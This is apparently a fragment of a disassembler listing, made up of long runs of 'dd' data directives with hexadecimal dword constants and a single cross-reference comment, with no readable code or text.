		dd 9E73CA6h, 50CE8852h,	0FD022506h, 182313C8h, 0B50CAA3Dh
		dd 9C05F4CDh, 9ABB4F3Dh, 0E95C12A5h, 0E8413917h, 665626E2h
		dd 9D5D5820h, 6F201EDAh, 0A4029537h, 175CB568h,	9871BE63h
		dd 25E90949h, 0F7ECDD4Dh, 6A6822C2h, 0E9CD9841h, 45214112h
		dd 0D32C0190h, 7F6B3A7Dh, 1898D0E0h, 0C25D006h,	74F2638Ah
		dd 5BDA0917h, 96B570ABh, 3361982Dh, 8EB3650Ch, 700BB120h
		dd 4EF49F8Bh, 79E1C150h, 30EE602h, 0F7522D13h, 0F2E583D1h
		dd 0ACA54FFFh, 0EDC0C93Bh
		dd 0D90105D5h, 371F5D09h, 4C060C81h, 7A586C75h,	0BA6A6B67h
		dd 0D3F22992h, 207EE9C2h, 963D18E5h, 6EF3EFD2h,	6E37E804h
		dd 0D2B0AB77h, 4A3F80D0h, 81274403h, 0DB585FCBh, 69C3B032h
		dd 0BC997FDDh, 0E0EA648Ah, 0CA0F0570h, 0E529CB6Eh, 7132DF0h
		dd 672CCBAh, 78173A7Ch,	8801D7F7h, 4D1B7AA2h, 0C39E5638h
		dd 0CA895E59h, 7FA9EFD1h, 0C2A47DB2h, 0C6DD648Bh, 0B550F07Bh
		dd 0C0093B85h, 0C1814130h, 5C069A09h, 95A2DF47h, 869A52ECh
		dd 12B7E5DFh, 0E092F85Bh, 97F61CE9h, 0D3BF757Ah, 0B97E25E1h
		dd 52A756E9h, 0D4FC9564h, 11A068B7h, 90015F20h,	0B11ACAEEh
		dd 2B877E5Eh, 0A422CA5h, 64EEE4E9h, 0B4C3016Dh,	1516303h
		dd 0E371F3h, 1447E908h,	90BA54C0h, 90615A43h, 0E8564F84h
		dd 0C0EE9264h, 0E8102AFEh, 6100055Eh, 708303Ch,	5F1FB84Eh
		dd 81FFE861h, 71807EAEh, 6020688Dh, 34B33B0Ch, 60D25C2Dh
		dd 3E745209h, 4F02FF09h, 85802127h, 483A72EAh, 0C6B5174Bh
		dd 0F2B2903Bh, 0FA2F6E8Ch, 9D9F655h, 0E5C53989h, 0E38215B4h
		dd 895103A0h, 0B82FEEBEh, 0F491640Bh, 0CDB15B7Ch, 0ACD5E7E9h
		dd 1ABD0233h, 75154263h, 787FCB00h, 82EDD103h, 5048A10h
		dd 0BF68D70Bh, 51BFA1BBh, 3377880Ch, 0ACF18004h, 0C7291EBFh
		dd 76F98646h, 0FE3208D7h, 0DFC916C1h, 0B58B18E8h, 30B894BDh
		dd 0C3173120h, 44253527h, 3469224Ah, 886DF1D1h,	5BF1772h
		dd 40353327h, 0F3BCB713h, 95ED4214h, 0F08AC702h, 8B55E647h
		dd 0D5C24A21h, 9698C45h, 0D00DDC50h, 3E6018E9h,	281BEBFBh
		dd 0FEABA0C3h, 651ABE2Eh, 28B5D032h, 0D3E058C2h, 9A6B9099h
		dd 0C144FC2Ah, 51738568h, 49D348Fh, 0ED753687h,	4B8F9B0h
		dd 3723E847h, 0F28D9050h, 17489031h, 51AF2704h,	97FCBC09h
		dd 0D0971A46h, 7CFE97C0h, 4A75E9F8h, 0AEF935C6h, 0A4D55198h
		dd 4E029461h, 6883F035h, 0CD193753h, 2898057h, 9C4684DCh
		dd 6DBD6032h, 2D055ACFh, 2EEF3B32h, 12011AF9h, 510A97Dh
		dd 0FDF2E461h, 378C17Ch, 98D25202h, 4AAFE9FFh, 81F8772Eh
		dd 67416813h, 2961EACDh, 0AF01D093h, 0AFC36756h, 5AD80458h
		dd 833E2D46h, 0B4D162C3h, 2A03B2Fh, 66E105CBh, 0BCE0E9EEh
		dd 1EEE5AD0h, 0F74822Ah, 3C613C8Eh, 58633A5Eh, 0DDFDC46Ah
		dd 241EE9B1h, 350740ABh, 0CBAEA7BEh, 3EBC88B5h,	60CF680Ch
		dd 0D264C52Bh, 73AA5814h, 0ADF91325h, 5C109240h, 0A01001F8h
		dd 0B914ADEh, 5DC2F2A8h, 0E66F80D1h, 2E4FC76Dh,	2DFB85F3h
		dd 8FE90CE3h, 9FE938D1h, 0BDC10357h, 602CFB21h,	8B6CFDA4h
		dd 5A6771Ch, 0BD045EE3h, 67C07773h, 683CFFFCh, 0CC832833h
		dd 29E3F350h, 0FB83083Eh, 58A2C848h, 35D7A1CCh,	18345C06h
		dd 518138E3h, 0F701FE06h, 83048BD3h, 0CCA575C3h, 0D6E78055h
		dd 6E01014Eh, 4CBACBBDh, 0DB303180h, 32EB4F29h,	0B07789D0h
		dd 1685618h, 0BEF6A47h,	93D6F75Eh, 6CEDE27Ah, 50BA3B37h
		dd 2C4B324Ah, 0DF5E2FB8h, 0E8A162BCh, 377340D0h, 1326DA1Fh
		dd 273F5021h, 97ABD07Fh, 55494D79h, 29C945E5h, 9DD3F21Ch
		dd 3AB3E78h, 6F02A5D9h,	0E90B998Ah, 1257F48Eh, 0EB64416Fh
		dd 0C735903Bh, 9E2D3976h, 0D3857547h, 5EAAA0BDh, 4CCE6802h
		dd 0D85BD758h, 953D76A0h, 77E4EBBh, 0B98E0130h,	2D415DC5h
		dd 3D097673h, 98C91675h, 0DCD83163h, 0C980C517h, 0F3CB2AB4h
		dd 0D041B93Fh, 735830F6h, 59CA1324h, 0E85590FBh, 0CD5880A6h
		dd 891627F7h, 1265C527h, 805A6450h, 3055906h, 0CA815E01h
		dd 0BAC0CFAh, 0B89E043h, 8E6C136h, 9050BAD7h, 0C4C8AF0Dh
		dd 0EB5AD517h, 502C07F7h, 83002D0Fh, 6119CDB8h,	0E4BF1405h
		dd 80BBA5EFh, 18387BB6h, 50BA6F5Ah, 298F0B9Ah, 0D9C92172h
		dd 0D4CBA657h, 0A8C42593h, 4D0A9FFFh, 9E6510AFh, 81F3811Fh
		dd 913C5E4h, 4B2230DEh,	0B01F35B2h, 664E28AAh, 0C8FD8A58h
		dd 5B70F73Ch, 7A0EE564h, 1AB2A1C0h, 0B50D75E9h,	0DE8ED41Ch
		dd 987BF420h, 1B972033h, 5BFA880Bh, 0EE57F88Ah,	40219454h
		dd 59C5685Ah, 0E0B33FC6h, 3DE10255h, 51365F1Ah,	4BB7817Fh
		dd 0F42AD987h, 5D44E6B2h, 0CC079FEEh, 8E1E249h,	6B8901C1h
		dd 50534B6h, 82FA8048h,	6D79F3A2h, 8294F74Bh, 0BB535D10h
		dd 49E9DDC2h, 0BE6D81F7h, 2AE50985h, 18F8E455h,	2DB69419h
		dd 0BDE3DCE8h, 709F42B2h, 536604F6h, 0EA9DB151h, 0CA1ACB85h
		dd 90D0E470h, 0E776297Ch, 0EB0142AAh, 19785560h, 5E33BA02h
		dd 4A3C64E9h, 2157A91h,	25FCBD55h, 81821D8Eh, 45DF28CBh
		dd 57542526h, 4C8DD962h, 5C6675D0h, 0D53022EBh,	0A811E90Dh
		dd 709091A6h, 0C1F7F49Dh, 98734DD5h, 5E597CA6h,	1E7582F8h
		dd 193C20A8h, 2B78529Dh, 36D6BCE1h, 0C82F1029h,	11243059h
		dd 6B79BDF9h, 0D5015C85h, 0A640C1CBh, 801A7FA9h, 790B4AEFh
		dd 5E5D3E4Ch, 0EEC78097h, 0E91F0D75h, 59B5F927h, 3A894F3Eh
		dd 40000950h, 0F61C462Dh, 121A353Bh, 0ABBA749Ah, 0D1101F5Eh
		dd 87097A48h, 582C862h,	0C00BB29Fh, 32684CB7h, 55AB5AEFh
		dd 1752955Dh, 0BBD7335Ch, 1DA012FCh, 0B93407CBh, 0E4595E65h
		dd 487EA80Ch, 0D57127AFh, 82023692h, 10E6D34Ch,	950CD2B7h
		dd 0A6E94238h, 71BAEAD3h, 2B0F9A92h, 0DE65ABCBh, 0CFD097DBh
		dd 6664CAC2h, 1ED93E0h,	0E2E9450Bh, 0B1512288h,	8C2FD179h
		dd 0C3F32385h, 0CF1B6E00h, 0E12CBE15h, 0EE804B3Fh, 3A481441h
		dd 0C85206Fh, 177A3D65h, 40E5B8F6h, 0BE25E908h,	3C93510Ah
		dd 233CBA13h, 0A485263Fh, 47E70D7Eh, 0B028B490h, 5C0BBDF9h
		dd 78149B39h, 0A0AF0004h, 0EF29380Eh, 0A149FCE9h, 92AA938Eh
		dd 8C402004h, 5D81ABA8h, 9B4CD5C6h, 0E59DD197h,	5FBBE019h
		dd 178C4562h, 0CC319261h, 95DC950Dh, 0FD72206Bh, 0A02FDC0Eh
		dd 0B837AD9Ch, 9E3EC48h, 50F84FDBh, 31893BFCh, 1A127D15h
		dd 0CE955175h, 8A0E9117h, 94017ACCh, 0B7540C2h,	0FC3EB064h
		dd 0FA293C77h, 7708A27Dh, 0D64FDECCh, 6C480B2h,	9BDCA8FFh
		dd 0A949A83Eh, 29C4B5FEh, 9A4C5E4Dh, 3CD40195h,	0C22B2B68h
		dd 0B900B27Ah, 7A670241h, 0B294A4Ch, 2BF75F53h,	4D0DF743h
		dd 7D8F2B7Ah, 29A1F313h, 0A6ED42F8h, 5DCB4B49h,	4D15601Bh
		dd 69BD0A13h, 0C8178AECh, 3232FBE0h, 809FFEFh, 5E781D9Ch
		dd 0A12CC65Eh, 0F98730E9h, 4ACCEE17h, 46384E1Fh, 51C8A40Bh
		dd 37B9326h, 0D3317134h, 7BD87EF9h, 99307568h, 0E4C10140h
		dd 2058E851h, 0F30FF1A2h, 0A325F475h, 0FAA613E9h, 154255B3h
		dd 126C6D7Dh, 2C47A1A9h, 5401C509h, 18F88FFFh, 50F7DBDFh
		dd 85D17B8h, 9BCB0658h,	0C506B5E8h, 38FC73F5h, 2608090Ch
		dd 8300372Ah, 0D2D563BFh, 0FFE9200Bh, 0ADC6F6D7h, 0F304D152h
		dd 72554CC0h, 9F58C3F0h, 0A4E6C802h, 0B5801455h, 92C9D2D4h
		dd 30BC17Ah, 760E9060h,	21742D50h, 47404562h, 53602C5Eh
		dd 0B1E898Ch, 96149813h, 0E35E2F8Fh, 0A1AE4409h, 3A28682Ah
		dd 0C1106736h, 7E35872h, 3F927130h, 68B4B7B2h, 0BD7D2E7Fh
		dd 65171198h, 5A608D9Ch, 165F4B59h, 0B31CB068h,	76860485h
		dd 6AC154CDh, 0FFC2010Fh, 0F8A445CFh, 37DA08h, 8006E5C0h
		dd 0A2F679F5h, 2D006FBCh, 6AF0774Dh, 0BC16D65Dh, 52E35A55h
		dd 0B38B68C5h, 9BBA023Ah, 4072ED5Ah, 26A567EAh,	84C88D12h
		dd 84209740h, 715680F0h, 50A2B0Eh, 0A5AEB6E9h, 9F02494Ah
		dd 556F898Ch, 0EA558AE2h
		dd 0C9BF00CFh, 0FE47B902h, 0AD2B91FDh, 590D0477h, 332FBBA8h
		dd 0FBEBA156h, 56596256h, 4FB7FC80h, 0F4986AF4h, 252A6801h
		dd 0EBF6E92Fh, 0F063896Fh, 0FB9D29CDh, 0AAA99DC0h, 20E6AE44h
		dd 0BB01E4ABh, 0D92C2D5Dh, 4D7DDF89h, 2872708Fh, 56905755h
		dd 0A253E000h, 5AB95140h, 0CDE2839h, 7A300B91h,	807D2FACh
		dd 713D05CFh, 0C45275EEh, 0AA4B2A38h, 35409600h, 1778EC10h
		dd 5C78902h, 127D345h, 90425D37h, 0CCF0D206h, 0A68077A2h
		dd 0CB211C78h, 0FE535927h, 0DBF34310h, 20BEF9B9h, 193930FCh
		dd 36E909CDh, 3B9877EFh, 2D80EA90h, 16241497h, 0C468E254h
		dd 0F8C89908h, 0EB743AE5h, 0E90C46CBh, 581C5F1Dh, 79B757E8h
		dd 4688195Dh, 44076A7Eh, 569B5166h, 93722D69h, 3E5BFA3Eh
		dd 0E1B18259h, 0CAF02CE9h, 68FC90B0h, 0B3665E88h, 72944973h
		dd 5DD3BE05h, 0C5090BB2h, 0DC2849Bh, 0F4F79F82h, 0E1987B4Dh
		dd 0CF276852h, 87CBD92Fh, 0D22879BAh, 0D47482E9h, 0C1385C05h
		dd 0C884AE87h, 0BD79B1Fh, 0B2DEF4F5h, 0FC68C740h, 8053AA1Ah
		dd 0D22E9058h, 72B80462h, 0BA9D2DD1h, 0C23437C7h, 8098C8FEh
		dd 3A8EF639h, 0BFC6BCDEh, 0E6491650h, 0C18862D3h, 0A73EDD9Eh
		dd 0ED8103A5h, 0D10B1A5Bh, 0BF21F501h, 55FD0812h, 0F1967216h
		dd 5A584005h, 0FD5FE0A8h, 12429F4Ch, 71F305E9h,	59D84CC6h
		dd 50535809h, 72390268h, 0D8594025h, 0A4014F11h, 46BA62D1h
		dd 1444E4Ch, 3C020A24h,	832BEEC1h, 0C7A0796h, 0E965609Dh
		dd 0A88BBF37h, 945F5909h, 1FE91307h, 0E78DB8AFh, 3EB8CFE4h
		dd 0C5BD5A2Eh, 0FE8CC828h, 8840C741h, 7BB405C1h, 0D23277Ch
		dd 68842273h, 0F3CD6F78h, 9A584536h, 50C13A54h,	9EABEE2h
		dd 10742871h, 0F282185Dh, 5ADE385Dh, 6BCFB45Bh,	0F65C2540h
		dd 6F49D52h, 57F9C1ADh,	0E762403Eh, 65A96DEDh, 0E7EEDAB5h
		dd 2C3C73A8h, 8BCF0C9Dh, 7809DE89h, 3DB810A0h, 41FD678h
		dd 0E0C0BD0Dh, 1E53257Eh, 37E9E6A0h, 646F6A34h,	970EBEACh
		dd 0D07A82BFh, 264C123h, 0AF99DDEAh, 3E9856FAh,	0F187CB2Dh
		dd 2F3B406Eh, 8109711Dh, 80C51CAh, 42058243h, 40AFE2D1h
		dd 4D5FAE06h, 0BEB031BEh, 0BD187120h, 0CE695F52h, 27F0F11h
		dd 420BA90Eh, 0FA0DC18Bh, 0E8D4AF43h, 0F95F08D2h, 0FAC68BDEh
		dd 0DD1ECE26h, 0AF61E8C4h, 80126A1h, 92A55E9h, 66F55F3Bh
		dd 17233863h, 0A061BB4Fh, 0FA6892E9h, 7E283D5Eh, 91239F2h
		dd 0B24AD148h, 5737D2Eh, 71E4297Eh, 52ADC8FBh, 586D799Dh
		dd 0D9BFF001h, 63430EC3h, 49CEEB16h, 274ABD5Ah,	5D3CE09Fh
		dd 0E149D251h, 930ABFAAh, 92F62CE1h, 0A42957Fh,	0E42FD17Dh
		dd 6389EB5Ch, 0FA3B132Fh, 0E90BD68Eh, 21DAEC88h, 0F40C1EEEh
		dd 9A293107h, 28E6BABDh, 20184068h, 22B53FF7h, 0BC14569h
		dd 2DAA6FD3h, 80F7B207h, 0F232F0CAh, 8515C2E4h,	7984CCA5h
		dd 44E2D2D4h, 82E9A296h, 0E47F81E9h, 702A0283h,	0CE0172CFh
		dd 80872E2h, 0CE825070h, 836D997h, 632DC5E1h, 0A144FA9Ch
		dd 43276896h, 1F9CFDC2h, 129EA0D4h, 0CCEADA5Ah,	65FACB2h
		dd 0E983D0B9h, 0AB02C2A5h, 0C87AD1C5h, 236EDF1Eh, 8B6F0DFBh
		dd 0F1F713DDh, 3E73DD00h, 0D25A8EE9h, 0A4EB9767h, 0F713AFDEh
		dd 6AADA7E8h, 9D927EB3h, 0D0297EF2h, 5F762D62h,	56E8CC86h
		dd 0A560544Bh, 0AA4BC568h, 2DFDC71Dh, 3C436F4Eh, 297DEF4Eh
		dd 9E8BF02h, 0A18263DAh, 7C631E7Eh, 0BF2002CFh,	60C6328Ch
		dd 7FD36F41h, 0D381B2h,	7F61E5E5h, 7438E959h, 2DBF4F17h
		dd 96BA38B1h, 28BDA500h, 2BB554Ah, 0B397566Fh, 2461CB01h
		dd 0E2BF9E54h, 6E196605h, 46E32097h, 451C3870h,	892D04DCh
		dd 0C9503FE3h, 0CD609C2Ch, 1EF3B922h, 0C060483Ch, 0C7A45939h
		dd 625616B9h, 0FA68ED8Fh, 0D1E0B5B8h, 13F8304Eh, 53F40501h
		dd 3040733Bh, 65036EC2h, 0CD2D3F17h, 754DAA46h,	0A560B9E1h
		dd 0AD4C7C38h, 0E1D5D942h, 0ABFC4BE8h, 0A5E89F2Dh, 51BFECFEh
		dd 1868E144h, 0B78A3A55h, 9F24BF48h, 59D95341h,	15522AEEh
		dd 0E2B990C4h, 0F8C69312h, 539F86DCh, 2DD00329h, 54637845h
		dd 85E579A8h, 0C5C04864h, 0C0CA2904h, 0AE5828C2h, 35FF6D4Fh
		dd 5D3B3C24h, 9A426825h, 84DE05E7h, 0BFE734FBh,	4410A48Bh
		dd 0CE9C20Bh, 49605CD2h, 0AC6E2C04h, 5B2194F6h,	0E14F228Bh
		dd 0F1A66BF9h, 1EC39284h, 7B252CFh, 0E4B5D030h,	0A4169053h
		dd 89912CAFh, 0D0D8E85Bh, 7F384191h, 81FBE9B5h,	907F691Fh
		dd 4E34C738h, 1E6A9237h, 0D15B03h, 2B8CEA54h, 5EE90A2Dh
		dd 6C41B94Fh, 37880FCBh, 1F2EF565h, 40F10193h, 2CBFDFE9h
		dd 0AAA6132Ch, 54551361h, 928DA63Fh, 0E76E14CDh, 0A04C9DA7h
		dd 2D16FCh, 384351DFh, 6768D801h, 0A03BE8B7h, 0C8459D7Ch
		dd 91545209h, 0B3BAC98h, 2D5647Ah, 3C2DC59h, 0B4FFFCB1h
		dd 10668E1Ch, 70586D98h, 69009525h, 0B9308805h,	7CF75658h
		dd 13FDC424h, 0D4739B8Bh, 0D3D3D269h, 384F3316h, 92DF518Fh
		dd 3EB2A156h, 60ACF779h, 5EBA00A2h, 0BE351AF4h,	15B70BD7h
		dd 31E9BC44h, 0CCAB93D0h, 0E3DD7F0Fh, 61D7020h,	0BB7C663Fh
		dd 31260B19h, 0DF1413CBh, 13531082h, 0CBD9350h,	455017FAh
		dd 1DF2ADDAh, 9AC6F4Fh,	4D8A6781h, 3A862A27h, 76780F12h
		dd 0FD225E29h, 8A7BE56h, 0B1FFB4F5h, 58074B6Eh,	0F64920A5h
		dd 57F0EC9h, 1DF7EECh, 0A4388D28h, 0FBB03F29h, 0E44A9F2Bh
		dd 245A7EC1h, 3D27688Ch, 0C98DDE30h, 47441073h,	680B35E6h
		dd 32DF30BFh, 3E8EC15Bh, 5142B611h, 3088530Fh, 8EBD50DBh
		dd 5AF004E2h, 0EBD6DABCh, 0FC68AE98h, 603DB471h, 11536C3Fh
		dd 5B22E93Dh, 5E18C4CCh, 18E0B75Ch, 0F08B2939h,	9A1E956Ch
		dd 16EBC299h, 0EDC86498h, 534A9C4Dh, 9BA5240h, 0A7CBB529h
		dd 0FA166E7Eh, 0F179BEE1h, 406B2FC5h, 0EE15EAAEh, 1D9AC57Fh
		dd 4C13314Bh, 19AD8FBFh, 0D20A1D18h, 5DAE46Ah, 92ACC14Eh
		dd 89F4F8F4h, 976A58F3h, 46C3D8F1h, 0B3BA85E7h,	0FC307B74h
		dd 1CC1A9BAh, 7AF7240Ah, 859A827h, 1E4451D6h, 819A434h
		dd 2DEDF50Ch, 36ED3A81h, 750B5306h, 0E4AD396Bh,	105AE2FAh
		dd 0B95AC099h, 0D6D0C9A8h, 0EE1C7AFAh, 0CE4CA295h, 0E7C6A017h
		dd 4CDC6F6Bh, 5E0EF13Ch, 96DF4C64h, 9CEC0BFEh, 525929A0h
		dd 201681BAh, 40EC2BE3h, 0BD0DD802h, 82090168h,	916CB198h
		dd 0A62BBCCh, 0C1403005h, 16F2BE0Ah, 0D80D6781h, 0E9B02F44h
		dd 5F682E52h
dword_4F0044	dd 0F383494h, 8E695908h, 2DD15EDEh, 4D8432EAh, 0C9C4F84Bh
					; DATA XREF: ___:00437A5Co
		dd 8B76DC2Fh, 7079430Eh, 25380381h, 3671E933h, 7DB14D11h
		dd 123AECE9h, 5E67BF14h, 27B20A95h, 5C8C3240h, 0F824E0Ch
		dd 8C89E84h, 234B5C68h,	9852C368h, 5F380B70h, 7DF315BBh
		dd 0FC87F30Bh, 0E6C15842h, 75C3024Ch, 64F51A02h, 7D9D8FE9h
		dd 0A3C21E92h, 2D002354h, 0A964F3C7h, 0A2E0B829h, 0A30C5591h
		dd 3218DC78h, 0AF9272C4h, 73570549h, 0BA8B87E9h, 0EB924929h
		dd 1096AD5Eh, 0BF02BEBBh, 4862372Dh, 2F6A2140h,	89F8195Bh
		dd 0B6F84104h, 0B4B2FBC4h, 0D1D2F04Fh, 3AB52613h, 1B3806A1h
		dd 255E7775h, 0AF5EA606h, 0E8431A8Bh, 2C97EEC6h, 17C91326h
		dd 533941FBh, 3B350868h, 0EBEDE8Ch, 6EA57F4Eh, 7A3E982h
		dd 0EE8143D4h, 65AD2C8Ah, 410DB83Eh, 0EC1C8208h, 5D1BDF21h
		dd 427DCBE2h, 589CDC27h, 0D065D33Eh, 5AEBC6E0h,	22F50CC3h
		dd 5524E9CFh, 68049859h, 8B9108DCh, 0B9005966h,	2F0CAFB3h
		dd 40F929B7h, 77EF0FC7h, 0CF2A6BC8h, 3D0820A4h,	415596E9h
		dd 5AC4F502h, 0C6F0980h, 135C6201h, 8AFF2912h, 1C0930C1h
		dd 0C3F4FDE9h, 0F7B65298h, 3C0E35C1h, 8F681D27h, 0E9E1B064h
		dd 7B7C7A07h, 50B056CFh, 1017C43Ch, 0EE016CD4h,	776B31C3h
		dd 82B86Bh, 0E64EF3EAh,	6FABE928h, 0DC43ADB0h, 0F08E7B6Fh
		dd 67BDCB01h, 8BE916ADh, 0E65A032Ch, 376812C3h,	31E9A942h
		dd 27AEE461h, 305A5E14h, 0B70F4909h, 0D905D505h, 54810B08h
		dd 18E1AD5h, 0FD55E911h, 5EE28B8Bh, 0C30725Ch, 608B2644h
		dd 3A2B870h, 10B02FB6h,	1496CC52h, 16988884h, 903BBD1Bh
		dd 823CCD4Bh, 0CE7B3FACh, 3DDB8011h, 0B7F84D09h, 0A1E9A0C8h
		dd 0ACDABCFBh, 82030D9h, 5B81AA1h, 352409AFh, 7DA083B4h
		dd 145C230Bh, 0D7F60278h, 0E209B001h, 59D46A89h, 72464BC6h
		dd 7B20C598h, 0E9E4BD06h, 0BD13B417h, 0AF40EEF8h, 6EE914D8h
		dd 0A7011F0Ah, 2D3DC813h, 10B93A3h, 190CCAAFh, 56C05755h
		dd 99EC776Ah, 455FE300h, 80976CABh, 54BAA569h, 0B77B693h
		dd 47C5DC14h, 53098325h, 721D60CEh, 343B3DA3h, 5B92189Ch
		dd 0BB02F4ECh, 70272DB1h, 0FEC7647Fh, 0B8D84EA7h, 0F33187C0h
		dd 0EAF54BA2h, 0CCD85F1Fh, 2455EF9Dh, 99D924A7h, 0B7322E30h
		dd 0C5E20D06h, 0F785E88Dh, 0DF5727DBh, 0F4E93BC3h, 781236D1h
		dd 97CA4F44h, 545291DEh, 78606FE4h, 2912D446h, 72DD028h
		dd 0BF24509Fh, 0DC9D8266h, 58C24097h, 120433Ah,	550882EEh
		dd 4FE65251h, 8149B6DBh, 8E23FCE7h, 68E04040h, 0A8D5F7DFh
		dd 0F6EB0562h, 0F5C23461h, 120E76D8h, 0FACCC58h, 7E8B184Fh
		dd 0FCB7327Dh, 7CE0BDF4h, 0B9746609h, 0D54BCDF4h, 832A05E8h
		dd 50B258CCh, 0B8E12E16h, 56F4A270h, 0AC5D17D8h, 0A6EA9E9Eh
		dd 0DB96C09Dh, 2DAD80ACh, 38432309h, 5802D431h,	0A1043634h
		dd 76E95129h, 5D5C93D2h, 0F254770h, 0ED7C20A5h,	5B2AC735h
		dd 82F1A2BBh, 0DCAAEB80h, 488189F5h, 1B870D71h,	0A5BF39A1h
		dd 738C76E3h, 376F16AAh, 0C52242Ch, 760E5A08h, 6EC2500Fh
		dd 22EBA01h, 70B2E908h,	0E2545B3Ah, 86E9C56Ah, 8A6AEAF1h
		dd 93CB2888h, 0E5F3E14Bh, 0D1D35C8Fh, 7EBB573Bh, 0A02701F3h
		dd 54B59CF0h, 9E97075h,	0C078879Fh, 0CA800780h,	76F2E6BBh
		dd 0D041F38Fh, 3A340949h, 0E68102DEh, 76F5CABh,	31B97940h
		dd 50955E98h, 3AE913E3h, 0E4C0CD4Ch, 0A1952762h, 1CD10BDFh
		dd 182DC07Bh, 0E912794Ah, 62234644h, 5460C208h,	182C18BBh
		dd 5BE804F8h, 49E77697h, 0DF292823h, 163CFEE4h,	0E9501252h
		dd 4C87ACF5h, 335A8E3Ah, 5B22C301h, 0D840786Dh,	0C546AA9Fh
		dd 0A38FA95Ah, 0F6E2130Ch, 2668DD9Ch, 0C2702986h, 0BAC47335h
		dd 67019A08h, 0CB721F70h, 0BFC05DB5h, 3FE1F988h, 5B05CBDh
		dd 0C9060C9Ch, 0F7B0E90Dh, 505B2DE6h, 0AB20BBE5h, 5DD445Eh
		dd 18D2E96Fh, 513FBA54h, 804807B5h, 0C92C91C5h,	0EBDF08FFh
		dd 7CE1940Bh, 9945CF81h, 0CB8CEAC6h, 24E54B5Bh,	0B292C2B3h
		dd 7B611962h, 6901E506h, 272A4893h, 89DFD498h, 99DD5EF3h
		dd 0BC2B5C9Ah, 90D3A16Ch, 0E75F1626h, 31512419h, 0C82FB201h
		dd 0A83B4A56h, 74300576h, 8C0207Ch, 6B2F33A0h, 9A00186Ch
		dd 0D18921BCh, 0C7E7A1h, 5092B151h, 417CC328h, 0B10B6887h
		dd 0BA0C4377h, 0E63C0A0Bh, 80418062h, 92C7B5Dh,	0CA874A42h
		dd 544458D0h, 33C09255h, 8B2505Dh, 206F5BB1h, 2C95E2E9h
		dd 5DF6D843h, 5162616h,	0C1C00027h, 17A747F5h, 4736813h
		dd 181B1DCCh, 321EBB18h, 82207128h, 53571F2Fh, 0B4291DF4h
		dd 1C081A1Ch, 0DBE61409h, 2DD0E926h, 2181EA47h,	0E43A5AD7h
		dd 0A130F3Ah, 60F802AEh, 6800804Eh, 869B7CEDh, 0B435B201h
		dd 33614F26h, 400851F8h, 0EE04D44Eh, 0FD01F9FFh, 0E98499E7h
		dd 0F73FE061h, 194DDD3Ch, 0E6673973h, 56F2CFDh,	25D468D1h
		dd 0E1D903Fh, 1E5B3B32h, 5200C1CBh, 6D16855h, 0E9160CDDh
		dd 27B55F8Ah, 0C46A0131h, 0B005BB58h, 2E5489C1h, 68D00BDBh
		dd 975B02A6h, 0ADD34563h, 3CA70CC0h, 0F30A89ACh, 0A4494F65h
		dd 3101EF8Dh, 1610C62Fh, 0D140E970h, 323609BAh,	0C1801008h
		dd 2E9FF0C8h, 0F2BDAB5h, 9A5D45C6h, 5182A3D7h, 0E4127E57h
		dd 42688BEFh, 11B19F52h, 918190E9h, 334630B9h, 0FF93B5Fh
		dd 3ECC00Eh, 0D005E463h, 9FA281B5h, 0CAFB81D3h,	52626DA3h
		dd 0EC0EB822h, 164D7DBh, 965EB2D0h, 8DEF6925h, 6BFB3660h
		dd 2E1670Dh, 2BC4685Eh,	7513BC4Ch, 0E707CE67h, 0F1A3A8EAh
		dd 3486006Ah, 0E9C2855Ch, 0DE97EF9Ah, 0C0024406h, 0BC264CEAh
		dd 0F1EC6C4Eh, 0ADE697Eh, 92A32985h, 0D4402C60h, 0A7003492h
		dd 0F658C588h, 0DCD80D5h, 0D314E98Ch, 5C8A4056h, 2148CB52h
		dd 0DB7F0470h, 4E4A5BFh, 0ECE126F1h, 0FBF03225h, 0B882DFE4h
		dd 0BA001E9Eh, 2D161056h, 0D39C59E9h, 76DFEA1Ah, 9B55E909h
		dd 0C8E32926h, 98135A20h, 0E8A027ABh, 0FA201866h, 0C2529DF7h
		dd 0E6361C09h, 0D680FF77h, 8BB56CBBh, 4E0568F3h, 90B468FCh
		dd 0EEE95219h, 4B7163EBh, 6171FA9h, 892D34F3h, 0FC79F2E9h
		dd 0D49DE225h, 60D30DD6h, 6A077BD9h, 29646168h,	0BD215ACh
		dd 0B5E4038Ah, 65728B97h, 0CD748B19h, 79615620h, 0BFBE629Ah
		dd 0B48B22Ch, 846A5814h, 0E5FAC331h, 54816BEDh,	5F60AD68h
		dd 2B8597ECh, 8F00AF5Ah, 0C147382Fh, 2163B8E0h,	58971A0Dh
		dd 0C2E46DADh, 5FD9D5A6h, 21E7FEA5h, 0BA6A2h, 128C163Eh
		dd 9615E94Ah, 4E7C0109h, 771BE3A2h, 0ECC298B6h,	184E5971h
		dd 0CE9123D2h, 0C54FF85Dh, 0C8A72A25h, 2F0B4B42h, 0D0096BD4h
		dd 5E200E5h, 55DEBB53h,	60BD6E56h, 9527E918h, 1E427386h
		dd 0D9379501h, 0FFEB8326h, 8D59B42h, 0E958B4B4h, 0CD29174Bh
		dd 0F2ED680Bh, 83BB5A1Ch, 0FA8B8D2h, 8BB805D1h,	3C20DC41h
		dd 0D1C6A9Fh, 0DCC082Fh, 43B4BE03h, 0F329917Ch,	2CAA752Eh
		dd 271375A2h, 601492Bh,	66D90388h, 13CE4970h, 446AA51Fh
		dd 1F94AB9h, 0EC80D4F6h, 76E47730h, 0F2E8E607h,	0A6F70F4h
		dd 7D6AE9E1h, 37A51A51h, 37089707h, 0C90139EAh,	3B0E257Dh
		dd 0EB95AA97h, 4A8CDAEEh, 7F471FE5h, 0BB175004h, 0EF72D005h
		dd 0BEBD34FFh, 844678Bh, 9B5B48D9h, 2A44AC83h, 85FFE894h
		dd 51AC7C25h, 17CEA9E4h, 74F4EB5Bh, 1FC00FC5h, 1E8B2EAEh
		dd 0DE277276h, 4606FB7Dh
		dd 0D71BE956h, 0F1BB0520h, 0D634562h, 7F0DF080h, 2FE97E68h
		dd 935614CEh, 5BCE7049h, 2B58F184h, 1914308Bh, 7584C511h
		dd 0E3265F2Ch, 0E9444B2Fh, 0D887BF92h, 0F45064B1h, 28D3AC58h
		dd 5AE6CF66h, 0A5047EEBh, 0C8F47847h, 201F410Ah, 0D5944F9Ah
		dd 0E29C2DBEh, 98AA6468h, 41135AB7h, 0C271DA0Bh, 3802ED14h
		dd 825E240Ah, 73016800h, 4CE18113h, 7930EA34h, 41E949A4h
		dd 0C3A2824Fh, 0C0DCBF92h, 5F124E9h, 89DCA752h,	0BA2CCD07h
